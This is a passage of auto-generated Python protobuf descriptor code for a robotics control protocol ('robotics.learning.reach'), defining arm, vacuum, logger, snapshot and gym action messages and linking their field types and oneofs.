serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_done', full_name='robotics.learning.reach.Snapshot.gym_done', index=9,
number=8, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_actions', full_name='robotics.learning.reach.Snapshot.gym_actions', index=10,
number=9, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=27230,
serialized_end=27658,
)
_SNAPSHOTRESPONSE = _descriptor.Descriptor(
name='SnapshotResponse',
full_name='robotics.learning.reach.SnapshotResponse',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='device_data_ref', full_name='robotics.learning.reach.SnapshotResponse.device_data_ref', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cid', full_name='robotics.learning.reach.SnapshotResponse.cid', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='status', full_name='robotics.learning.reach.SnapshotResponse.status', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_element_type', full_name='robotics.learning.reach.SnapshotResponse.gym_element_type', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_config_name', full_name='robotics.learning.reach.SnapshotResponse.gym_config_name', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=27661,
serialized_end=27857,
)
_GYMACTION = _descriptor.Descriptor(
name='GymAction',
full_name='robotics.learning.reach.GymAction',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.GymAction.device_type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.GymAction.device_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='synchronous', full_name='robotics.learning.reach.GymAction.synchronous', index=2,
number=6, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='arm_action_params', full_name='robotics.learning.reach.GymAction.arm_action_params', index=3,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='vacuum_action_params', full_name='robotics.learning.reach.GymAction.vacuum_action_params', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='logger_action_params', full_name='robotics.learning.reach.GymAction.logger_action_params', index=5,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_annotation_action_params', full_name='robotics.learning.reach.GymAction.client_annotation_action_params', index=6,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='params', full_name='robotics.learning.reach.GymAction.params',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=27860,
serialized_end=28273,
)
_ARMACTIONPARAMS = _descriptor.Descriptor(
name='ArmActionParams',
full_name='robotics.learning.reach.ArmActionParams',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='command', full_name='robotics.learning.reach.ArmActionParams.command', index=0,
number=1, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cid', full_name='robotics.learning.reach.ArmActionParams.cid', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joint_angles', full_name='robotics.learning.reach.ArmActionParams.joint_angles', index=2,
number=3, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pose', full_name='robotics.learning.reach.ArmActionParams.pose', index=3,
number=4, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='reach_action', full_name='robotics.learning.reach.ArmActionParams.reach_action', index=4,
number=5, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='use_linear', full_name='robotics.learning.reach.ArmActionParams.use_linear', index=5,
number=6, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='velocity', full_name='robotics.learning.reach.ArmActionParams.velocity', index=6,
number=7, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='acceleration', full_name='robotics.learning.reach.ArmActionParams.acceleration', index=7,
number=8, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='timeout_sec', full_name='robotics.learning.reach.ArmActionParams.timeout_sec', index=8,
number=9, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='action_name', full_name='robotics.learning.reach.ArmActionParams.action_name', index=9,
number=10, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='use_unity_ik', full_name='robotics.learning.reach.ArmActionParams.use_unity_ik', index=10,
number=11, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='intent', full_name='robotics.learning.reach.ArmActionParams.intent', index=11,
number=12, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='success_type', full_name='robotics.learning.reach.ArmActionParams.success_type', index=12,
number=13, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pick_id', full_name='robotics.learning.reach.ArmActionParams.pick_id', index=13,
number=14, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='pickID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='apply_tip_adjust_transform', full_name='robotics.learning.reach.ArmActionParams.apply_tip_adjust_transform', index=14,
number=15, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo', full_name='robotics.learning.reach.ArmActionParams.servo', index=15,
number=16, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo_t_secs', full_name='robotics.learning.reach.ArmActionParams.servo_t_secs', index=16,
number=17, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo_lookahead_time_secs', full_name='robotics.learning.reach.ArmActionParams.servo_lookahead_time_secs', index=17,
number=18, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo_gain', full_name='robotics.learning.reach.ArmActionParams.servo_gain', index=18,
number=19, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='allow_uncalibrated', full_name='robotics.learning.reach.ArmActionParams.allow_uncalibrated', index=19,
number=20, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='controller_name', full_name='robotics.learning.reach.ArmActionParams.controller_name', index=20,
number=21, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=28276,
serialized_end=28749,
)
_VACUUMACTIONPARAMS = _descriptor.Descriptor(
name='VacuumActionParams',
full_name='robotics.learning.reach.VacuumActionParams',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='state', full_name='robotics.learning.reach.VacuumActionParams.state', index=0,
number=12, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=28751,
serialized_end=28786,
)
_LOGGERACTIONPARAMS = _descriptor.Descriptor(
name='LoggerActionParams',
full_name='robotics.learning.reach.LoggerActionParams',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='is_start', full_name='robotics.learning.reach.LoggerActionParams.is_start', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='event_params', full_name='robotics.learning.reach.LoggerActionParams.event_params', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0028\000', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=28788,
serialized_end=28893,
)
_CLIENTANNOTATIONACTIONPARAMS = _descriptor.Descriptor(
name='ClientAnnotationActionParams',
full_name='robotics.learning.reach.ClientAnnotationActionParams',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='annotation', full_name='robotics.learning.reach.ClientAnnotationActionParams.annotation', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=28895,
serialized_end=28988,
)
_COMMANDDATA.fields_by_name['ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_COMMANDDATA.fields_by_name['snapshot'].message_type = _SNAPSHOT
_COMMANDDATA.fields_by_name['metadata'].message_type = _METADATA
_COMMANDDATA.fields_by_name['key_value'].message_type = _KEYVALUE
_COMMANDDATA.fields_by_name['key_value_request'].message_type = _KEYVALUE
_COMMANDDATA.fields_by_name['session_info'].message_type = _SESSIONINFO
_COMMANDDATA.fields_by_name['trigger'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['i_see_data'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['ping'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['client_session_end'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['connected_clients_request'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['start_shutdown'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['finish_shutdown'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['hangup'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['client_session_start'].message_type = _CLIENTSESSIONSTART
_COMMANDDATA.fields_by_name['client_annotation'].message_type = _CLIENTANNOTATION
_COMMANDDATA.fields_by_name['pipeline_description_request'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['machine_interfaces_request'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['text_instruction_request'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['stream_request'].message_type = _STREAMREQUEST
_COMMANDDATA.fields_by_name['controller_descriptions_request'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['user_label'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['enable_experiments'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['disable_experiments'].message_type = _EMPTYMESSAGE
_COMMANDDATA.fields_by_name['experiment_flags'].message_type = experiment__config__pb2._FLAGS
_COMMANDDATA.fields_by_name['reach_script'].message_type = _REACHSCRIPT
_COMMANDDATA.fields_by_name['exp'].message_type = _EXPERIMENTALCOMMANDDATA
_COMMANDDATA.fields_by_name['exp_array'].message_type = _EXPERIMENTALCOMMANDDATA
_COMMANDDATA.fields_by_name['event_duration'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_COMMANDDATA.fields_by_name['event_params'].message_type = _KEYVALUE
_COMMANDDATA.fields_by_name['history'].message_type = _HISTORY
_COMMANDDATA.fields_by_name['webrtc_audio_request'].message_type = _WEBRTCAUDIOREQUEST
_COMMANDDATA.fields_by_name['sim_action'].message_type = _SIMACTION
_COMMANDDATA.fields_by_name['inference_request'].message_type = _INFERENCEREQUEST
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['metadata'])
_COMMANDDATA.fields_by_name['metadata'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['key_value'])
_COMMANDDATA.fields_by_name['key_value'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['key_value_request'])
_COMMANDDATA.fields_by_name['key_value_request'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['session_info'])
_COMMANDDATA.fields_by_name['session_info'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['trigger'])
_COMMANDDATA.fields_by_name['trigger'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['i_see_data'])
_COMMANDDATA.fields_by_name['i_see_data'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['ping'])
_COMMANDDATA.fields_by_name['ping'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['client_session_end'])
_COMMANDDATA.fields_by_name['client_session_end'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['connected_clients_request'])
_COMMANDDATA.fields_by_name['connected_clients_request'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['start_shutdown'])
_COMMANDDATA.fields_by_name['start_shutdown'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['finish_shutdown'])
_COMMANDDATA.fields_by_name['finish_shutdown'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['hangup'])
_COMMANDDATA.fields_by_name['hangup'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['client_session_start'])
_COMMANDDATA.fields_by_name['client_session_start'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['client_annotation'])
_COMMANDDATA.fields_by_name['client_annotation'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['pipeline_description_request'])
_COMMANDDATA.fields_by_name['pipeline_description_request'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['machine_interfaces_request'])
_COMMANDDATA.fields_by_name['machine_interfaces_request'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['text_instruction_request'])
_COMMANDDATA.fields_by_name['text_instruction_request'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['stream_request'])
_COMMANDDATA.fields_by_name['stream_request'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['controller_descriptions_request'])
_COMMANDDATA.fields_by_name['controller_descriptions_request'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['user_label'])
_COMMANDDATA.fields_by_name['user_label'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['enable_experiments'])
_COMMANDDATA.fields_by_name['enable_experiments'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['disable_experiments'])
_COMMANDDATA.fields_by_name['disable_experiments'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_COMMANDDATA.oneofs_by_name['data_type_oneof'].fields.append(
_COMMANDDATA.fields_by_name['experiment_flags'])
_COMMANDDATA.fields_by_name['experiment_flags'].containing_oneof = _COMMANDDATA.oneofs_by_name['data_type_oneof']
_CLIENTANNOTATION.fields_by_name['associated_server_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_CLIENTANNOTATION.fields_by_name['interval_start'].message_type = _INTERVALSTART
_CLIENTANNOTATION.fields_by_name['interval_end'].message_type = _INTERVALEND
_CLIENTANNOTATION.fields_by_name['text_annotation'].message_type = _TEXTANNOTATION
_CLIENTANNOTATION.fields_by_name['snapshot_annotation'].message_type = _SNAPSHOTANNOTATION
_CLIENTANNOTATION.fields_by_name['point_measurement'].message_type = _POINTMEASUREMENT
_CLIENTANNOTATION.fields_by_name['long_horizon_instruction'].message_type = _TEXTANNOTATION
_CLIENTANNOTATION.fields_by_name['short_horizon_instruction'].message_type = _TEXTANNOTATION
_CLIENTANNOTATION.oneofs_by_name['log_type_oneof'].fields.append(
_CLIENTANNOTATION.fields_by_name['interval_start'])
_CLIENTANNOTATION.fields_by_name['interval_start'].containing_oneof = _CLIENTANNOTATION.oneofs_by_name['log_type_oneof']
_CLIENTANNOTATION.oneofs_by_name['log_type_oneof'].fields.append(
_CLIENTANNOTATION.fields_by_name['interval_end'])
_CLIENTANNOTATION.fields_by_name['interval_end'].containing_oneof = _CLIENTANNOTATION.oneofs_by_name['log_type_oneof']
_CLIENTANNOTATION.oneofs_by_name['log_type_oneof'].fields.append(
_CLIENTANNOTATION.fields_by_name['text_annotation'])
_CLIENTANNOTATION.fields_by_name['text_annotation'].containing_oneof = _CLIENTANNOTATION.oneofs_by_name['log_type_oneof']
_CLIENTANNOTATION.oneofs_by_name['log_type_oneof'].fields.append(
_CLIENTANNOTATION.fields_by_name['snapshot_annotation'])
_CLIENTANNOTATION.fields_by_name['snapshot_annotation'].containing_oneof = _CLIENTANNOTATION.oneofs_by_name['log_type_oneof']
_CLIENTANNOTATION.oneofs_by_name['log_type_oneof'].fields.append(
_CLIENTANNOTATION.fields_by_name['point_measurement'])
_CLIENTANNOTATION.fields_by_name['point_measurement'].containing_oneof = _CLIENTANNOTATION.oneofs_by_name['log_type_oneof']
_CLIENTANNOTATION.oneofs_by_name['log_type_oneof'].fields.append(
_CLIENTANNOTATION.fields_by_name['long_horizon_instruction'])
_CLIENTANNOTATION.fields_by_name['long_horizon_instruction'].containing_oneof = _CLIENTANNOTATION.oneofs_by_name['log_type_oneof']
_CLIENTANNOTATION.oneofs_by_name['log_type_oneof'].fields.append(
_CLIENTANNOTATION.fields_by_name['short_horizon_instruction'])
_CLIENTANNOTATION.fields_by_name['short_horizon_instruction'].containing_oneof = _CLIENTANNOTATION.oneofs_by_name['log_type_oneof']
_INTERVALEND.fields_by_name['start_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_INTERVALEND.fields_by_name['end_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_POINTMEASUREMENT.fields_by_name['timestamp'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_POINTMEASUREMENT.fields_by_name['value'].message_type = _MEASUREMENT
_MEASUREMENT.oneofs_by_name['measurement_type_oneof'].fields.append(
_MEASUREMENT.fields_by_name['seconds'])
_MEASUREMENT.fields_by_name['seconds'].containing_oneof = _MEASUREMENT.oneofs_by_name['measurement_type_oneof']
_EXPERIMENTALCOMMANDDATA.fields_by_name['depth_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_EXPERIMENTALCOMMANDDATA.fields_by_name['pose_2d'].message_type = _POSE2D
_EXPERIMENTALCOMMANDDATA.fields_by_name['position_3d'].message_type = _VEC3D
_EXPERIMENTALCOMMANDDATA.fields_by_name['quaternion_3d'].message_type = _QUATERNION3D
_EXPERIMENTALCOMMANDDATA.fields_by_name['user_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_REACHSCRIPTCOMMAND.fields_by_name['set_radial_speed'].message_type = _SETRADIALSPEEDARGS
_REACHSCRIPTCOMMAND.fields_by_name['set_blend_radius'].message_type = _SETBLENDRADIUSARGS
_REACHSCRIPTCOMMAND.fields_by_name['move_j_path'].message_type = _MOVEJPATHARGS
_REACHSCRIPTCOMMAND.fields_by_name['move_l_path'].message_type = _MOVELPATHARGS
_REACHSCRIPTCOMMAND.fields_by_name['stop_j'].message_type = _STOPJARGS
_REACHSCRIPTCOMMAND.fields_by_name['set_digital_out'].message_type = _SETDIGITALOUTARGS
_REACHSCRIPTCOMMAND.fields_by_name['set_analog_out'].message_type = _SETANALOGOUTARGS
_REACHSCRIPTCOMMAND.fields_by_name['set_tool_digital_out'].message_type = _SETDIGITALOUTARGS
_REACHSCRIPTCOMMAND.fields_by_name['sleep'].message_type = _SLEEPARGS
_REACHSCRIPTCOMMAND.fields_by_name['raw'].message_type = _RAWARGS
_REACHSCRIPTCOMMAND.fields_by_name['acquire_image'].message_type = _ACQUIREIMAGEARGS
_REACHSCRIPTCOMMAND.fields_by_name['set_output'].message_type = _SETOUTPUT
_REACHSCRIPTCOMMAND.fields_by_name['sync'].message_type = _SYNCARGS
_REACHSCRIPTCOMMAND.fields_by_name['move_pose_path'].message_type = _MOVEPOSEPATHARGS
_REACHSCRIPTCOMMAND.fields_by_name['wait'].message_type = _WAITARGS
_REACHSCRIPT.fields_by_name['commands'].message_type = _REACHSCRIPTCOMMAND
_REACHSCRIPT.fields_by_name['calibration_requirement'].message_type = _REACHSCRIPTCALIBRATIONREQUIREMENT
_MOVEJWAYPOINTARGS.fields_by_name['limits'].message_type = _LIMITS
